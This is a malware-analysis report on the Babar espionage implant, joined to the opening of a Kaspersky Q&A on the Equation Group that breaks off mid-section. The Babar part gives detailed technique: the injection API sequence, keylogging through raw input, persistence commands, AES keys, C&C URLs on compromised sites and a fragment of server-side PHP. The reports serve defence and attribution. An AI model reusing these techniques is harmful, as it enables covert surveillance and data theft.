27a0a98053f3eed82a51cdefbdfec7bb948e1f36 693.4 KB (710075 bytes) 2011-08-29 11:48:42 IMPLANT SHA-1 File Size Compile Time 4525141d9e6e7b5a7f4e8c3db3f0c24c efbe18eb8a66e4b6289a5c53f22254f76e3a29bd 585.4 KB (599438 bytes) 2011-08-29 13:02:29 Special thanks for their contribution in the making of this report go to Morgan Marquis-Boire, Joan Calvet, Paul Rascagn res, Alex Dulaunoy, Raphael Vinot and the remaining team of CIRCL Luxembourg. You guys rock \m/ Comments or inquiries please direct to Marion Marschalek (0xF372F2CA). Babar and the related crowd of animalesque malware will be presented at SyScan'15 conference (https://www.syscan.org/) in March 2015. No elephants were harmed in the making of this report. This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. page | 2 CONTENT 1. SHOOTING ELEPHANTS.................................................................................... 4 2. MISCREANT'S DROPPER..................................................................................5 3. MISCREANT'S IMPLANT................................................................................... 6 3.1 ANTI-ANALYSIS MEASURES........................................................................6 3.2 BABAR CAME TO STAY................................................................................ 7 3.3 CONFIGURATION DATA..............................................................................7 3.4 MODUS OPERANDI ELEPHANTI.................................................................9 3.5 FUNCTIONALITY....................................................................................... 10 3.5.1 THE KEYLOGGER MODULE................................................................10 3.5.2 INVADING DESKTOP PROCESSES.......................................................11 3.5.3 I AM ROOT(kit).................................................................................. 11 3.6 STOLEN GOODS........................................................................................ 13 3.7 CALLING HOME........................................................................................ 14 4. BEYOND BABAR............................................................................................. 16 5. RESOURCES.................................................................................................... 18 6. APPENDICES.................................................................................................. 19 page | 3 1. SHOOTING ELEPHANTS Subject of this analysis is a fascinating piece of malware, which invades Windows desktop machines and aims at.. well, all the things. The analyzed malware consists of a dropper and an implant, which invades Windows processes to steal data from instant messengers, softphones, browsers and office applications. A fully blown espionage kit, so to say, sophisticated almost. The implant is able to hook APIs of interest in dedicated remote processes, to steal data on the fly. More interesting than the malware itself though is the path to the associated symbol file, which appears embedded in the dropper. The analyzed malware samples come with the internal project name 'Babar64'. Illustration 1 | The .pdb path embedded in Babar's dropper The myth of Babar has been around for a while in the intelligence community. Questions have been raised since Le Monde published an article on Babar in 2014 [1] and were recently fuelled by a leaked government presentation found among a stash of documents published in January by Spiegel [2]. The leaked document was authored by the Communications Security Establishment Canada (CSEC) and reports about a potential nation state attack involving malware named Babar. The actor behind the attacks is assumed to be French inteligence. Assumptions are based on certain binary attributes, language and location of infrastructure as well as targets. The binaries at hand fit well with the description CSEC provides, although it is quite clear they are a newer version from what CSEC had uncovered around 2009. It is not clear whether the compilation timestamps are falsified, but an earlier compilation time than the actual stamp seems unlikely. Doubtlessly though, the Babar binaries match with a malware strain representing itself as Bunny, as well as a family dubbed NBOT or TFC. page | 4 2. MISCREANT'S DROPPER The dropper operates straight forward; it fetches the encrypted DLL from its own binary from outside its resource section, decrypts it and hides it in the file system. Then it goes on to load the DLL using Windows regsvr32.exe. To achieve this it spawns a dedicated process with the command line '"regsvr32.exe" /s /n /i "%APPDATA%\%DLLNAME%"'. The DLL name is random but legitimately looking and hardcoded for a specific dropper. It is also stored as encrypted string in the binary, and has been seen to decrypt to either 'perf585.dll' or 'dump21cb.dll' depending on the dropper. The encryption algorithm used is AES (Advanced Encryption Standard) with 128-bit keys. The keys used for decryption are '20 33 AF 73 A9 AC 72 D3 BE E6 A5 73 92 BA 37 6C' for the implant filename and 'A0 0E 3E B3 3A 1C D3 AA A0 BE 3F B3 F9 0A 96 15' for decrypting the binary. AES is the encryption algorithm of choice throughout the dropper and its implant's operations. Interestingly, the Babar dropper as well as the implant show a similar method of API name obfuscation as the Bunny malware and samples from the NBOT family. Dedicated APIs are loaded through a resolution function, which searches for library exports by comparing hashes of the export names with a given hash. For the Babar project though the attackers used an adapted version of SHA-1, as opposed to the simple XOR/ROL hash algorithm which was used in the Bunny project. After infection the dropper executes a separate command line through spawning a cmd.exe process, which is instructed to wait for 1 second before deleting the dropper binary on disk. This way the malware reduces forensic artefacts, staying behind after infection. Curiously though, the regsvr32.exe process used to load the dropped implant remains running. This way Babar leaves a visible process on the process list during execution. As the project name 'Babar64' suggests, dropper and implant are designed to work on 32-bit and on 64-bit Windows versions. However, process hooking and injection can only affect 32-bit processes due to the bitness of the implant itself. page | 5 3. MISCREANT'S IMPLANT Babar's implant is a 32-bit DLL written in C++, which upon start injects itself to running processes and invades desktop applications by applying a global Windows hooks. The implant is capable of logging keystrokes, capture screen shots, spy on installed softphones and instant messengers next to a list of simpler espionage tricks. Babar is a fully blown espionage tool, built to excessively spy on the user's activity on an infected machine. The DLL dropped by Babar is placed into the application data folder, along with a directory named 'MSI' where the runtime data will be stored. Babar operates through multiple instances, by injecting its DLL to a maximum of three desktop processes. This is achieved by loading the Babar DLL to remote processes through a mapped memory object. Apart from that, Babar comes with a userland rootkit component which applies global Windows hooks to invade all processes on its desktop. This way Babar can install API hooks for various APIs via Windows Detours technique to actively steal data from arbitrary processes. 3.1 ANTI-ANALYSIS MEASURES Babar's anti-analysis measures are sparse. It is not protected by a runtime packer or crypter, it does not have sandbox detection or anti-debugging measures, most character strings are shown in clear-text. Babar does show the same obscure treatment for installed anti-virus products as the Bunny malware though. Babar also enumerates the Windows Management Instrumentation for installed AV solutions, while the exact use of this information is not yet known. We do suspect large portions of the product enumeration to be based on the exact same source code as the module Bunny used. Illustration 2 | Querying anti-virus products installed on the machine The enumeration function issues the commands SELECT * FROM AntiVirusProduct and retrieves attributes such as 'productState', 'DisplayName', 'VersionNumber' and 'productUptoDate'. The anti-virus solutions searched for are again identified by 256-bit SHA hashes. Only some of the page | 6 hashes could be mapped to known names of anti-virus solutions. 4db3801a45802041baa44334303e0498c2640cd5dfd6892545487bf7c8c9219f 522e5549af01c747329d923110c058b7bb7e112816de64bd7919d7b9194fba5b 2fd5c42d49f9e0fe2daae5b0f78cf9cfde9bfc7b0ed59fc68e0a79a3b16fe05b 06e387bb79584cdff3672feadea0bf6f783ce1ddc1fa91962d1b5bcd94e1a308 f1761a5e3856dceb3e14d4555af92d3d1ac47604841f69fc72328b53ab45ca56 588730213eb6ace35caadcb651217bfbde3f615d94a9cca41a31ee9fa09b186c c8e8248940830e9f1dc600c189640e91c40f95caae4f3187fb04427980cdc479 b3fe0e3a3e3befa152c4237b0f3a96ffaa44a2d7e1aa6d379d3a1ab4659e1676 ThreatFire Rising Kaspersky ZoneAlarm AntiVir Babar also implements an obfuscation technique to hide certain API names. Selected APIs are identified by hashes, which are used to load the APIs dynamically at runtime. The hashes are hardcoded within the binary, and will be compared to hashed library exports by the API resolution routine. The hashing algorithm is different from the simple XOR/ROL technique Bunny uses. It seems to be based on SHA-1, but generates 32-bit hashes instead of the standard 160-bit length. What Bunny, Babar and NBOT all have in common though is that the obfuscation technique is easy to break and only applied to a subset of APIs. As an anti-analysis trick this is considerably useless, it does make sense though to trick malware detection solutions which apply heuristics based on static analysis of API calls. This becomes evident when looking at the list of Babar's obfuscated API names, which includes RegisterRawInputDevices, GetRawInputData, GetClipboardData or DirectSoundCaptureCreate. 3.2 BABAR CAME TO STAY The startup routine of the Babar implant will create a registry key under '[HKU]\..\CurrentVersion\Run' to assure persistence. The key is named 'MSSecurity' and executes the exact same command line as the infector, every time the system boots - '"regsvr32.exe" /s /n /i "%APPDATA%\%DLLNAME%"'. At system boot time the regsvr32.exe process will start, load the Babar DLL and thus 'deploy' the malware to various legitimate processes. As opposed to persistence, Babar also implements functionality to uninstall itself from the affected system. Interesting again, same as during infection, the regsvr32.exe process remains running even after Babar is readily set up. 3.3 CONFIGURATION DATA During initialization Babar loads and decrypts a set of configuration parameters which are appended to the DLL's relocation section. ASCII strings within the configuration data reveal a lot about Babar's intentions: Office executable names and associated document abbreviations excel.exe, winword.exe, powerpnt.exe, visio.exe, acrord32.exe, notepad.exe, page | 7 wordpad.exe.txt, rtf, xls, xlsx, ppt, pptx, doc, docx, pdf, vsd Softphone executable names skype.exe, msnmsgr.exe, oovoo.exe, nimbuzz.exe, googletalk.exe, yahoomessenger.exe, xlite.exe A version number 12075-01 Path and filename of the dump file %COMMON_APPDATA%\MSI\update.msi Path to the runtime data directory %COMMON_APPDATA%\MSI Two C&C server domains and request parameters http://www.horizons-tourisme.com/_vti_bin/_vti_msc/bb/index.php http://www.gezelimmi.com/wp-includes/misc/bb/index.php Web browser executable names, including MSN messenger iexplore.exe,firefox.exe,opera.exe,chrome.exe,Safari.exe,msnmsgr.exe The name of the dropped implant perf_585.dll As could be seen already in binaries of related families, next to the hardcoded configuration data Babar maintains a system specific runtime configuration. The additional configuration consists of a set of local attributes and a set of values derived from the Windows environment. The attributes are dynamically generated or requested at runtime and not stored in memory. %USERHASH% - Hash of the login name %USER% - Login name %SEQ% - Assumed to be the sequence number of dump files created by Babar %KID% - Assumed to be the ID of a subsequently infected process %ID% - Value retrieved from hardcoded configuration %SELFDIR% - Executable directory %SELF% - Executable name Values retrieved from Windows environment: %APPDATA% %USERPROFILE% %WINDIR% %COMMON_APPDATA% %ALLUSERPROFILE% %CommonProgramFiles% page | 8 3.4 MODUS OPERANDI ELEPHANTI The DLL when loaded in the context of an application seeks to invade a maximum of two more victim processes. This for once is a resilience measure, so if the initially infected process stops running the malware remains in memory through additional instances. On the other hand it is practically a load balancing measure. The C&C communication module is located in an export of the DLL, which will be executed through a remote thread, injected like the child processes, via a memory-mapped file. The process infection is achieved by mapping a shared object into the victim's process space and invoking a function stub as remote thread. The steps being taken are: MapViewOfFile mapped memory shared with the child instance OpenProcess obtaining a handle to the chosen victim process VirtualAllocEx allocate space in remote memory WriteProcessMemory write function stub to remote memory CreateRemoteThread execute function stub as remote process The function stub will then go on to load the Babar DLL through LoadLibraryA and execute one of its exports, as indicated in the shared memory. The mapped object contains name and path to the malicious DLL, the name of the pipe being used for communication between the instances, the name of the export from the DLL to be called as well as information about instances already running. For picking a process to infect the malware randomly picks one from a list of prospects. These have to be 32-bit processes, not already infected and not among a list of processes to avoid such as winlogon.exe, explorer.exe, cmd.exe or regsvr32.exe. This way Babar always keeps three instances in memory. The first one to start up will be the 'main instance'. If any of the instances dies, a new third instance will be created. If the main instance dies the oldest child will take over. For inter process communication Babar uses named pipes. The main instance generates a random GUID which is used as name and passed to child instances. At the same time, the main instance creates six named pipes using the very same GUID. These pipes represent the server side for child instances, and also the point to connect to for hooks Babar installs to spy on several system APIs. page | 9 Illustration 3 | Named pipes opened by the main instance 3.5 FUNCTIONALITY The spying activities are performed either through the Babar instance locally or via a global Windows hook invading all processes running in the same desktop. Instance-local capabilities are basic spying on window names or snooping on the clipboard data, while the global hooks manage to steal information directly from Windows API calls. A summary of the capabilities would be as follows: - Logging keystrokes - Taking screenshots - Capture of audio streams from softphone applications - Stealing of clipboard data - System and user default language, keyboard layout - Names of desktop windows 3.5.1 THE KEYLOGGER MODULE The keylogger is based on the raw input model. The malware creates an invisible window, with no other purpose than to receive window messages. By processing the window message queue it filters out input events and dispatches them to a raw input device object. Said object is configured to grab keyboard events through GetRawInputData. page | 10 Illustration 4 | The keylogger module uses Windows RAWINPUT to achieve its goal The snooped keystroke data is passed to a thread, which performs encryption and dumps the data to a log file. The file is located in Babar's working directory and named update.msi. The design of the keylogging component is simple but effective. Babar is able to sniff all keystrokes happening on the same desktop as its invisible window. Interesting though, the code seen in Babar's implant is remarkably similar to an example posted at [4]. 3.5.2 INVADING DESKTOP PROCESSES The Babar implant applies global Windows hooks to load its DLL into the process space of other processes. A global hook is installed by calling SetWindowsHookEx by passing the thread ID zero. It applies to all processes running in the same desktop, having the same 'bitness' as the DLL to be injected. In the given case this applies to all 32-bit processes. A global Windows hook is installed into the Windows event chain. This effectively means code provided by the hooking DLL gets executed whenever an arbitrary desktop process receives an event of a type specified by the hook. Babar installs hooks for type 2 and 3, which are WH_KEYBOARD and WH_GETMESSAGE. This way Babar has control over all keyboard and message events received by any application on the same Windows desktop. 3.5.3 I AM ROOT(kit) Through the hook mechanism Babar can be maximum invasive in the Windows userland. Once in the context of a desired target process, the malware goes on to hook specific APIs of interest. This is achieved by applying the detours technique, which implements trampoline functions to be invoked every time a hooked API is called [6]. To achieve this, Babar rewrites the in-memory code for target APIs. A call to a hooked API then results in the calling application invoking a trampoline function, which performs malicious activity and then passes control on to the legitimate API. page | 11 Babar supports trampoline functions for a limited list of APIs and limited to a set of processes of interest, defined by its configuration. The list of APIs to hook is parted in three groups: Internet communication WSARecv send closesocket File creation CreateFileW Media DirectSoundCreate DirectSoundCaptureCreate DirectSoundCreate8 DirectSoundCaptureCreate8 CoCreateInstance waveOutOpen waveOutClose waveOutWrite waveInOpen waveInClose waveInAddBuffer Any set of hooks will only be applied to a defined set of processes. The predefined groups of application names retrieved from the hardcoded configuration data set the scope of Babar's hooking advances: Internet communication iexplore.exe,firefox.exe,opera.exe,chrome.exe,Safari.exe,msnmsgr.exe File creation excel.exe, winword.exe, powerpnt.exe, visio.exe, acrord32.exe, notepad.exe, wordpad.exe.txt, rtf, xls, xlsx, ppt, pptx, doc, docx, pdf, vsd Media skype.exe, msnmsgr.exe, oovoo.exe, nimbuzz.exe, googletalk.exe, yahoomessenger.exe, xlite.exe The respective trampolines steal data going in or out of the hooked APIs on the fly. The parsing function for intercepted internet communication searches for chat traffic, more specifically for messages conforming with the MSNP21 standard. Babar is searching for tags such as 'MessageType', 'Reliability', 'To', 'From' or 'Text' to pick out of the stream. A more detailed explanation concerning the MSNP21 can be found at [7]. MSNP21 is the MSN messenger chat protocol that was introduced with Windows Live 2010 beta. It is unclear though as of why only parsing for the MSN messenger is supported. page | 12 The data, like all stolen information, is handled by a separate thread which compresses and encrypts it before dumping it to a file on disk. For grabbing audio streams Babar includes code from the OpenCORE AMR library [8]. AMR enables the malware to encode and decode raw audio frames as they are passed to or grabbed from the audio devices. The very same malware module performs screen captures while dumping the snooped data. This is assumed to happen to recognize the parties involved in the conversation by capturing the GUI of the softphone application. Illustration 6 | MSNP21 tags 3.6 STOLEN GOODS Babar comes with the Deflate algorithm, as used by Zlib, to be able to compress data before encrypting it and dumping it to disk. The data is encrypted with 128-bit AES using the key 24 FE C5 AD 34 56 F7 F8 12 01 00 AE B6 7C DE AB for reading and writing files. The following files have been seen to be dumped to Babar's working directory under %APPDATA%\MSI: update.msi 48fe7f28.msi 0c6b5d2d.msi 31e50daa.msi mpavdlta.vdm Stolen information will be handled by the Babar main instance, which receives data through six named pipes from other instances or hooked processes. The update.msi-file stores data collected by the keylogging module. It posesses a file header which among other attributes keeps system specific data. This is assumed to serve for mapping of logfiles to infected hosts. Log lines written for stolen data from browsers and the MSN messenger are built by the format string "%s%c%s|%s\n", where the first string is likely participant1 of a conversation, the second string participant2. Both are parted by the characters '<' or '>' depending on the direction of the conversation. Similar log lines accompany dumped sound data and saved documents. Sound data logs follow the format "A|%u|%S", document logs the format "%I64i|%I64i|%I64i|%s%s|%s\n". For documents page | 13 three timestamps are included as well as whether read or write access was requested, indicated by 'R' or 'W' or '-'. The last placeholder is reserved for the filename. At the time of writing the content of the sound data log line remains unclear. 3.7 CALLING HOME The internet communication module of Babar is located in a sparate export called 'FindCtxSectionStringW', which will be invoked through remote thread injection at runtime. Injection is achieved the same way as the infection of child instances described in section 3.4. The analyzed sample of Babar has two hard coded C&C server addresses which are included in its configuration data: http://www.horizons-tourisme.com/_vti_bin/_vti_msc/bb/index.php http://www.gezelimmi.com/wp-includes/misc/bb/index.php Both servers were used to push spied information onto the remote site. It remains unclear though whether the C&Cs also served to instruct the infected machines per commands, as Babar does not posess obvious command parsing functionality. Data exfiltration is assumed to be time triggered. Illustration 7 | The website of horizons-tourisme.com today The domain horizons-tourisme.com is a legitimate website, operated by an Algerian travel agency, located in Algiers, Algeria. The website is in French and still online today. Gezelimmi.com is a Turkish domain, currently responding with an HTTP error message 403, access not permitted. Both domains appear to be of legitimate use, but compromised and abused to host Babar's server side infrastructure. At the time of writing the server pointed to by horizons-tourisme.com is still hosting left overs from the C&C infrastructure used by Babar. With directory traversal activated researchers from ESET could pull a minimalistic directory structure, showing directories named as follows: bb28 tfc422 page | 14 Obviously, the directory belonging to Babar is 'bb28'. 'tfc422' matches with strings found in the TFC bots (previously named NBOT). The purpose of the 'd13' directory remains unknown, although it is assumed to serve for requests of a third currently unknown family. Most of the directories pulled from horizons-tourisme.com are empty, or contain empty files. The only script inside the bb28 directory though appears to be interesting. Its a .php-script named config.inc, containing variables which look familiar from Babar's config such as 'user', 'id' or 'seq', but also a handful of comments from the authors. $fn
" ; return true; function resetStorageFile($fn) { if (!file_exists($fn)) return false; $fp = fopen($fn, "wb"); if ($fp) fclose($fp); else return false; return true; page | 15 4. BEYOND BABAR At the time of writing two Babar64 droppers are known, dropping one implant each. They both show traits of the malware described by CSEC, being attributed to French intelligence with moderate certainty [2]. The CSEC document mentions uncovering the attack in 2009. The compilation timestamps of the binaries date back to August 2011. While these can be faked it is still unlikely that the authors would change the 2009-timestamp to a future date. This, and the mentioning of 'Babar' instead of 'Babar64' by CSEC indicates that the samples at hand stem from a more recent campaign. Besides the project name, Babar64 also shares the malformed user agent string described in the document, where a letter from the MSIE 6.0 name is missing. Illustration 8 | The malformed user agent string showing 'MSI' instead of 'MSIE' The second Babar64 binary comes with its own set of C&C servers: http://www.alexpetro.com/images/training/courses/bb212/index.php http://www.etehadyie.ir/images/public/bb212/index.php The first one is the legitimate website of AlexPetro Technical Services, a company operating in the oil and gas industry in Kairo, Egypt. The second domain is Iranian, allegedly owned by a web design company named Radcom. What links Babar64 to other families analyzed beforehand, such as Bunny or TFC (also called NBOT) are shared portions of source code and re-used coding techniques. The enumeration of anti-virus software and the code to query the system's proxy settings are almost identical. Furthermore, the samples at hand show the same partial API name obfuscation as Bunny and TFC. What has changed is the hashing algorithm. Also common among all of the families seems to be to hold system specific configuration data in memory at runtime, although this holds true for a lot of malware. Putting Babar, Bunny and TFC in context a number of conclusion can be drawn. Looking at the compilation timestamps and assuming they are not faked (which is backed by VirusTotal submission dates), the oldest family is TFC being active throughout 2010. These are DDoS bots, used to build a botnet which can be utilized to attack adversaries on the internet. page | 16 Next on the timeline is Babar64, allegedly compiled middle of 2011 and first seen on VirusTotal middle of 2012. It is believed that this strain has been active from 2011 until 2013, spying on dedicated targets rather than being spread widely. Last comes Bunny, compiled second half of 2011 and making its first public appearance during the analysis of the Adobe Reader exploit for CVE-2011-4369 [9]. At the time when Bunny was spread through CVE-2011-4369, before December 2011, the vulnerability was unknown to the public. Bunny itself is a Lua script execution platform, not including any spying capabilities. All three families leave the impression of being developed by a team of skilled software developers, rather than being the product of a malware author operating in the criminal underground. Also none of the binaries makes attempts of hiding its intentions, which is a common trait among targeted malware. Heavy obfuscation or the use of crypters easily raises suspicion of heuristics based malware scanners. However, besides the CSEC document there was no obvious pointer found leading to the conclusion that Babar and its companions were set out by French inteligence services. As it is with digital crime, chances are high no proof will ever evolve and research will be limited to educated conclusions. The drawing of personal educated conclusions is left as an exercise for the interested reader. page | 17 5. RESOURCES Quand les Canadiens partent en chasse de Babar , Le Monde http://www.lemonde.fr/international/article/2014/03/21/quand-les-canadiens-partent-en-chassede-babar_4387233_3210.html SNOWGLOBE: From Discovery to Attribution, CSEC, published by Der Spiegel http://www.spiegel.de/media/media-35683.pdf Slidedeck TS/NOFORN, Keynote Hack.lu 2014 on Bunny / TFC http://2014.hack.lu/archive/2014/TSNOFORN.pdf A Minimal Keylogger using RAWINPUT, CodeProject http://www.codeproject.com/Articles/297312/Minimal-Key-Logger-using-RAWINPUT Implementing Keyloggers in Windows, Securelist https://securelist.com/analysis/36358/keyloggers-implementing-keyloggers-in-windows-part-two/ Detours: Binary Interception of Win32 Functions, Proceedings of Usenix conference '99 http://research.microsoft.com/pubs/68568/huntusenixnt99.pdf Documentation for changes in MSN Protocol Version 21 https://code.google.com/p/msnp-sharp/wiki/KB_MSNP21 AMR Audio Encoding, Potluri Suresh http://www.codeproject.com/Articles/332109/AMR-Audio-Encoding Analyzing CVE-2011-4369, 9bplus http://blog.9bplus.com/analyzing-cve-2011-4369-part-one/ page | 18 6. APPENDICES Lists of passive DNS entries for horizons-tourisme.com and gezelimmi.com can be found below. For gezelimmi.com: Resolve Location 104.153.45.38 199.231.93.221 US 199.119.202.195 US 208.87.242.66 209.62.21.228 83.149.75.58 69.25.212.153 64.20.43.107 207.189.104.87 US 207.189.104.86 US 207.189.104.87 US 207.189.104.86 US 207.189.104.87 US 207.189.104.86 US 207.189.104.87 US 207.189.104.86 US 207.189.104.87 US 207.189.104.86 US 207.189.104.87 US 207.189.104.86 US 207.189.104.87 US 216.152.252.55 US Network 104.153.45.0/24 199.231.93.0/24 199.119.200.0/21 208.87.240.0/22 209.62.0.0/17 83.149.64.0/18 69.25.208.0/20 64.20.32.0/19 207.189.96.0/19 207.189.96.0/19 207.189.96.0/19 207.189.96.0/19 207.189.96.0/19 207.189.96.0/19 207.189.96.0/19 207.189.96.0/19 207.189.96.0/19 207.189.96.0/19 207.189.96.0/19 207.189.96.0/19 207.189.96.0/19 216.152.240.0/20 First 31.12.2013 00:00 03.07.2011 00:00 10.04.2011 00:00 16.03.2008 00:00 26.08.2007 00:00 24.06.2007 00:00 24.03.2007 00:00 18.11.2006 00:00 12.08.2006 00:00 05.08.2006 00:00 08.07.2006 00:00 01.07.2006 00:00 17.06.2006 00:00 10.06.2006 00:00 06.05.2006 00:00 29.04.2006 00:00 18.03.2006 00:00 05.03.2006 00:00 25.02.2006 00:00 12.02.2006 00:00 27.11.2005 00:00 21.11.2004 00:00 Last 09.11.2014 00:00 31.12.2013 00:00 03.07.2011 00:00 10.04.2011 00:00 16.03.2008 00:00 26.08.2007 00:00 24.06.2007 00:00 24.03.2007 00:00 18.11.2006 00:00 12.08.2006 00:00 05.08.2006 00:00 08.07.2006 00:00 01.07.2006 00:00 17.06.2006 00:00 10.06.2006 00:00 06.05.2006 00:00 29.04.2006 00:00 18.03.2006 00:00 05.03.2006 00:00 25.02.2006 00:00 12.02.2006 00:00 27.11.2005 00:00 For horizons-tourisme.com: Resolve 192.185.113.148 184.172.143.188 212.27.35.109 206.41.94.190 Location Network 192.185.64.0/18 184.172.128.0/18 212.27.32.0/19 206.41.94.0/24 First 28.04.11 00:00 23.12.06 00:00 02.08.05 00:00 24.06.05 00:00 Last 10.02.15 00:00 28.04.11 00:00 23.12.06 00:00 02.08.05 00:00 page | 19 EQUATION GROUP: QUESTIONS AND ANSWERS Version: 1.5 February 2015 #EquationAPT #TheSAS2015 Table of contents What is the Equation group?...........................................................................3 Why do you call them the Equation group?.................................................3 What attack tools and malware does the Equation group use?...................4 What is DOUBLEFANTASY?.............................................................................6 What is EQUATIONDRUG?...............................................................................8 What is GRAYFISH?..........................................................................................9 What is Fanny?.............................................................................................. 12 What exploits does the Equation group use?.............................................. 14 How do victims get infected by EQUATION group malware?....................... 15 What is the most sophisticated thing about the EQUATION group?.......... 16 Have you observed any artifacts indicating who is behind the EQUATION group?................................................................................... 19 12. How many victims are there?....................................................................... 20 Have you seen any non-Windows malware from the Equation group?...... 22 What C&C infrastructure do the Equation group implants use?................ 23 How do victims get selected for infection by the EQUATION group?.......... 23 What kind of encryption algorithms are used by the EQUATION group?.... 27 How does the EQUATION group s attack platforms compare with Regin?.................................................................................... 30 18. How did you discover this malware?........................................................... 31 Indicators of compromise ( one of each ).......................................................... 32 TLP: White For any inquiries, please contact intelreports@kaspersky.com 1. What is the Equation group? The Equation group is a highly sophisticated threat actor that has been engaged in multiple CNE (computer network exploitation) operations dating back to 2001, and perhaps as early as 1996. The Equation group uses multiple malware platforms, some of which surpass the well-known Regin threat in complexity and sophistication. The Equation group is probably one of the most sophisticated cyber attack groups in the world; and they are the most advanced threat actor we have seen. Why do you call them the Equation group? We call this threat actor the Equation group because of their love for encryption algorithms and obfuscation strategies and the sophisticated methods used throughout their operations. In general, the Equation group uses a specific implementation of the RC5 encryption algorithm throughout their malware. Some of the most recent modules use RC6, RC4 and AES too, in addition to other cryptographic functions and hashes. One technique in particular caught our attention and reminded us of another complex malware, Gauss. The GrayFish loader uses SHA-256 one thousand times over the unique NTFS object ID of the victim s Windows folder to decrypt the next stage from the registry. This uniquely ties the infection to the specific machine, and means the payload cannot be decrypted without knowing the NTFS object ID. TLP: White For any inquiries, please contact intelreports@kaspersky.com What attack tools and malware does the Equation group use? So far, we ve identified several malware platforms used exclusively by the Equation group. They are: EQUATIONDRUG A very complex attack platform used by the group on its victims. It supports a module plugin system, which can be dynamically uploaded and unloaded by the attackers. DOUBLEFANTASY A validator-style Trojan, designed to confirm the target is the intended one. If the target is confirmed, they get upgraded to a more sophisticated platform such as EQUATIONDRUG or GRAYFISH. EQUESTRE Same as EQUATIONDRUG. TRIPLEFANTASY Full-featured backdoor sometimes used in tandem with GRAYFISH. Looks like an upgrade of DOUBLEFANTASY, and is possibly a more recent validator-style plugin. GRAYFISH The most sophisticated attack platform from the EQUATION group. It resides completely in the registry, relying on a bootkit to gain execution at OS startup. FANNY A computer worm created in 2008 and used to gather information about targets in the Middle East and Asia. Some victims appear to have been upgraded first to DoubleFantasy, and then to the EQUATIONDRUG system. Fanny used exploits for two zero-day vulnerabilities which were later discovered with Stuxnet. EQUATIONLASER An early implant from the EQUATION group, used around 2001-2004. Compatible with Windows 95/98, and created sometime between DOUBLEFANTASY and EQUATIONDRUG. TLP: White For any inquiries, please contact intelreports@kaspersky.com TLP: White For any inquiries, please contact intelreports@kaspersky.com 4. What is DOUBLEFANTASY? The Equation group uses an implant known as DoubleFantasy (the internal Kaspersky Lab name) for the validation of their victims. The implant serves two purposes: to confirm if the victim is interesting; If so, the victim is upgraded to the EquationDrug or GrayFish platforms to keep a backdoor into a potentially interesting target s computer DoubleFantasy keeps an internal version number in its configuration block, together with other data such as legitimate hosts used to validate the internet connection (e.g.: microsoft.com, yahoo.com) and C&Cs. Decrypted DoubleFantasy configuration block In the configuration block above, one can easily spot the internal version 8.2.0.6. Decrypting configuration blocks from all known DoubleFantasy samples, we obtained the following internal version numbers: 8.1.0.4 008.002.000.006 008.002.001.001 008.002.001.004 008.002.001.04A (subversion IMIL3.4.0-IMB1.8.0 008.002.002.000 008.002.003.000 008.002.005.000 008.002.006.000 TLP: White For any inquiries, please contact intelreports@kaspersky.com 011.000.001.001 012.001.000.000 012.001.001.000 012.002.000.001 012.003.001.000 012.003.004.000 012.003.004.001 013.000.000.000 Interestingly, the most popular versions are 8 and 12: Considering the latest version of DoubleFantasy is 13 and we have only identified 4 major versions, we are probably seeing only a small part of the group s activity. TLP: White For any inquiries, please contact intelreports@kaspersky.com 5. What is EQUATIONDRUG? EQUATIONDRUG is one of the group s most complex espionage platforms. The platform was developed between 2003 and 2013 and subsequently replaced by GrayFish. It appears to have been created as an upgrade from the EQUATIONLASER platform. A victim doesn t immediately get infected with EQUATIONDRUG. First, the attackers infect them with DOUBLEFANTASY, which is a validator-style plugin. If the victim is confirmed as interesting to the attackers, the EQUATIONDRUG installer is delivered. By default, a core set of modules is installed onto the target s computer together with EQUATIONDRUG, giving attackers full control over the operating system. In cases where the basic features of the malware are not enough, EquationDrug supports the addition of new plugins to extend its functionality. We found 35 different plugins for EquationDrug and 18 drivers. TLP: White For any inquiries, please contact intelreports@kaspersky.com EquationDrug s core modules, designed for hooking deep into the OS, do not contain a trusted digital signature and cannot be run directly on modern operating systems. The code checks whether the OS version predates Windows XP/2003. Some of the plugins were designed originally for use on Windows 95/98/ME. If the target is using a modern operating system such as Windows 7, the attackers use the TripleFantasy or GrayFish platforms. EquationDrug has an integrated countdown timer, presumably designed to selfdestruct if commands are not received from the C&C for a period of time (several months). The information stolen from the PC and prepared for transmission to the C&C is stored in encrypted form throughout several fake font files (*.FON) inside the Windows\Fonts folder on the victim's computer. 6. What is GRAYFISH? GRAYFISH is the most modern and sophisticated malware implant from the Equation group. It is designed to provide an effective (almost invisible persistence mechanism, hidden storage and malicious command execution inside the Windows operating system. By all indications, GrayFish was developed between 2008 and 2013 and is compatible with all modern versions of Microsoft s operating systems, including Windows NT 4.0, Windows 2000, Windows XP, Windows Vista, Windows 7 and 8 both 32-bit and 64-bit versions. TLP: White For any inquiries, please contact intelreports@kaspersky.com GrayFish includes a highly sophisticated bootkit, which is more complex than any ve seen before. This suggests developers of the highest caliber are behind its creation. When the computer starts, GrayFish hijacks the OS loading mechanisms by injecting its code into the boot record. This allows it to control the launching of Windows at each stage. In fact, after infection, the computer is not run by itself more: it is GrayFish that runs it step by step, making the necessary changes on the fly. After GrayFish starts Windows, it launches a multi-stage mechanism (four to five stages) of decryption to achieve code execution within the Windows environment. It then runs the functional modules that are stored inside the Windows registry. Each stage decodes and executes the next, and the entire platform will only start after successful execution of all levels. If an error happens during launch, the entire GrayFish platform self-destructs. TLP: White For any inquiries, please contact intelreports@kaspersky.com The GrayFish bootloader mechanism TLP: White For any inquiries, please contact intelreports@kaspersky.com To store stolen information, as well as its own auxiliary information, GrayFish implements its own encrypted Virtual File System (VFS) inside the Windows registry. To bypass modern OS security mechanisms that block the execution of untrusted code in kernel mode, GrayFish exploits several legitimate drivers, including one from the CloneCD program. This driver (ElbyCDIO.sys) contains a vulnerability which GrayFish exploits to achieve kernel-level code execution. Despite the fact that the vulnerability was discovered in 2009, the digital signature has not yet been revoked. The GrayFish implementation appears to have been designed to make it invisible to antivirus products. When used together with the bootkit, all the modules as well as the stolen data are stored in encrypted form in the registry and dynamically decrypted and executed. There are no malicious executable modules at all on the filesystem of an infected system. An interesting observation: the first stage GRAYFISH loader computes the SHA-256 hash of the NTFS of system folder (%Windows% or %System%) Object_ID one thousand times. The result is used as an AES decryption key for the next stage. This is somewhat similar to Gauss, which computed the MD5 hash over the name of its target folder 10,000 times and used the result as the decryption key. 7. What is Fanny? Fanny is a computer worm created by the Equation group in 2008 and distributed throughout the Middle East and Asia. 